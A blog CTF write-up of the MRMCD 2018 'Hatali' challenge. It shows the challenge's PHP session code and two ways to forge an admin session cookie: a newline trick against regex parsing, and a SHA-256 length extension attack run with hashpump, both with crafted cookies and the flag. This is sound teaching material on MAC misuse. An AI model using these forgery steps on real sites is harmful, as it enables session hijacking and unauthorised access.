Digital Naïve

jomo's blog

MRMCD CTF 2018 writeup: Hatali

This is a writeup of this year’s MRMCD CTF challenge “Hatali”, including two different ways to solve the challenge (one of them being unintended by the challenge authors).

Hatali challenge screenshot

We are presented with a simple login/register website. The site allows you to register – and then login with – any username/password combination. We’ll use admin:admin.

The site sets a session cookie upon login:

NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzNGJHNkVzQnVM

And also tells us:

<center>
  Nothing to see here!<br>
  <!-- source here: index.php?source -->
  <a href="?logout">logout</a>
</center>

Following that hint, we also receive the source code. With the boring stuff removed, it’s basically three parts…

Login

$password = $_POST['password'];
$username = $_POST['username'];
if ($stmt = mysqli_prepare($link,"SELECT id,username from users where username = ? and password = ?")) {
    mysqli_stmt_bind_param($stmt, "ss", $username, hash('sha256',$password));
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt, $id, $user);
    mysqli_stmt_fetch($stmt);
    mysqli_stmt_close($stmt);

    $sess = array();
    $sess["user"] = $user;
    $sess["id"] = $id;
    assert(strlen($key) == 23);
    $ss = "_BuLBuL_".$sess['user']."_BuLBuL";
    $ss .= "_BuL_".$sess['id']."_BuL";
    $hmac = hash("sha256",$key.$ss);
    $ss = "_BuLMac_".$hmac."_Mac".$ss;
    $ss = str_replace($s, $r, $ss);
    setcookie("session",base64_encode($ss),time()+8000);
}

Session handling

if (isset($_COOKIE) && array_key_exists('session', $_COOKIE))
{
    $session = base64_decode($_COOKIE['session']);
    $session = str_replace($r, $s, $session);
    preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
    preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
    preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
    preg_match_all("/_Mac(.*)/i", $session, $data);

    $sess['user'] = end(end($name));
    $sess['id'] = intval(end(end($id)));
    $sess['mac'] = end(end($mac));
    $mac = hash("sha256",$key.end(end($data)));
    if ($mac !== $sess['mac'])
    {
        echo "Hacker detected!";
        die();
    }
}

Authorization

if (isset($sess))
{
    if ($sess['id'] == 1 && $sess['name'] = "admin")
    {
        echo "<center>Here is your flag: $flag</center><br>";
    } else if ($sess['id'] > 1) {
        echo "<center>Nothing to see here!<br>";
        echo "<!-- source here: index.php?source -->";
        echo '<a href="?logout">logout</a></center>';
        echo "</body>
            </html>";
        exit();
    }
}

When base64 decoded, our session cookie looks like this:

4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL

We don’t know exactly what $r and $s are in str_replace($s, $r, $ss), but we can take an educated guess knowing that the deobfuscated session string begins with _BuLMac_. They’re replacing _ with 4bG6Es, which gives us a somewhat meaningful string:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_Z2Bv4sa_BuLBuL_BuL_3_BuL

What’s weird here is that _BuLBuL_Z2Bv4sa_BuLBuL_ should contain the username (as we know from the code) instead of Z2Bv4sa, and in fact does contain the correct username when using usernames other than admin, so they also seem to be replacing admin with Z2Bv4sa. PHP allows to specify multiple search and replace values for str_replace.

Our fully deobfuscated session string looks like this:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

Where our username is admin, our user ID is 3, and a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc is the hash of an unknown secret $key + _BuLBuL_admin_BuLBuL_BuL_3_BuL.

Our goal is, of course, to get the $flag, which is returned when we’re logged in as admin user #1:

if ($sess['id'] == 1 && $sess['name'] = "admin")
{
    echo "<center>Here is your flag: $flag</center><br>";
}

To my knowledge, the = assignment being done here was not intended by the challenge authors. But we wouldn’t have to forge the username anyways, as registering admin was allowed.

We cannot simply set the ID from 3 to 1. That would change the MAC calculated here, and no longer match the MAC from the session cookie. We also can’t calculate the correct MAC because we don’t have the $key:

$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
    echo "Hacker detected!";
    die();
}

Solution 1: Attacking the RegEx

Let’s take a closer look at how the $session string is parsed:

preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
preg_match_all("/_Mac(.*)/i", $session, $data);

$sess['user'] = end(end($name));
$sess['id'] = intval(end(end($id)));
$sess['mac'] = end(end($mac));
$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
    echo "Hacker detected!";
    die();
}

preg_match_all searches $session for the specified pattern and stores the results in the variable given as the last argument. end(end($result)) is simply the last match’s last match group.

Let’s visualize the match groups for $mac, $data, $admin, $id:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

The string used to calculate the MAC can already be constructed using $id and $name, but instead is obtained from an additional match ($data) on the session string, which I found unusual.

I decided to play around with it. If I could leave $data unchanged, but somehow still change $id, the MAC validation would pass and the challenge would be solved.

Prepending the ID as follows wouldn’t work, because only the last match is used:

_BuL_1_BuL_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

Appending it also doesn’t work without changing $data:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL_BuL_1_BuL

The match expression for $data makes use of .*, which extends to the very end of the session string. Or does it? It won’t match a line break! The session string is base64 encoded, so it’s not a problem to include newlines and it can be constructed as follows:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3
_BuL_1_BuL

Now $data simply matches the data part from original session string, passing the MAC validation with the last one of the $id matches being the forged one in the second line!

Now we just need to reverse the string replacement:

4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es3
4bG6EsBuL4bG6Es14bG6EsBuL

Then encode it back to base64:

NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzCjRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=

And once we use that as our session cookie, we are number one!

<center>
    Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>

Solution 2: Attacking the MAC

assert(strlen($key) == 23);
// […]
$hmac = hash("sha256", $key.$ss);

These two lines are suspicious. They assert that the key has a length of 23 bytes with no obvious reason to do so; and they use a variable named $hmac but don’t use PHP’s hash_hmac function designed for such use.

A proper HMAC would be constructed like H(secret ‖ H(secret ‖ message)), not H(secret ‖ message). To quote Wikipedia:

When a Merkle–Damgård based hash is misused as a MAC with construction H(secret ‖ message), and message and the length of secret is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret.

Let’s see what we have:

  • MAC: a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc
  • Message: _BuLBuL_admin_BuLBuL_BuL_3_BuL
  • Length of secret: 23

That’s all we need to append text to the message and generate a valid MAC.

I will use hashpump to keep it simple, but you may find a detailed explanation of Hash Length Extension Attacks here. We want to change the user ID to 1, so the text we want to append is _BuL_1_BuL:

hashpump -s "a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc" -k 23 -d "_BuLBuL_admin_BuLBuL_BuL_3_BuL" -a "_BuL_1_BuL"

This gives us the message:

_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL
00000000: 5f42 754c 4275 4c5f 6164 6d69 6e  _BuLBuL_admin
0000000d: 5f42 754c 4275 4c5f 4275 4c5f 33  _BuLBuL_BuL_3
0000001a: 5f42 754c 8000 0000 0000 0000 00  _BuL.........
00000027: 01a8 5f42 754c 5f31 5f42 754c     .._BuL_1_BuL

And the resulting hash:

2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2

Now we just need to construct the session string again:

_BuLMac_2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b2_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa8_BuL_1_BuL

Reverse the string replacement:

4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL

Convert the escape sequences and then to base64:

echo -ne "4bG6EsBuLMac4bG6Es2dcf883237646ba64cfe636785c56af65fe8b8a67869de0ba2a3d04ba87e02b24bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4s4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL\x80\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa84bG6EsBuL4bG6Es14bG6EsBuL" | base64

There’s our session cookie:

NGJHNkVzQnVMTWFjNGJHNkVzMmRjZjg4MzIzNzY0NmJhNjRjZmU2MzY3ODVjNTZhZjY1ZmU4YjhhNjc4NjlkZTBiYTJhM2QwNGJhODdlMDJiMjRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0czRiRzZFc0J1TEJ1TDRiRzZFc0J1TDRiRzZFczM0Ykc2RXNCdUyAAAAAAAAAAAABqDRiRzZFc0J1TDRiRzZFczE0Ykc2RXNCdUw=

And once again…

<center>
    Here is your flag: MRMCDCTF{1_h4d_n0_1n5p1r4710n_f0r_7h15_fl46}
</center>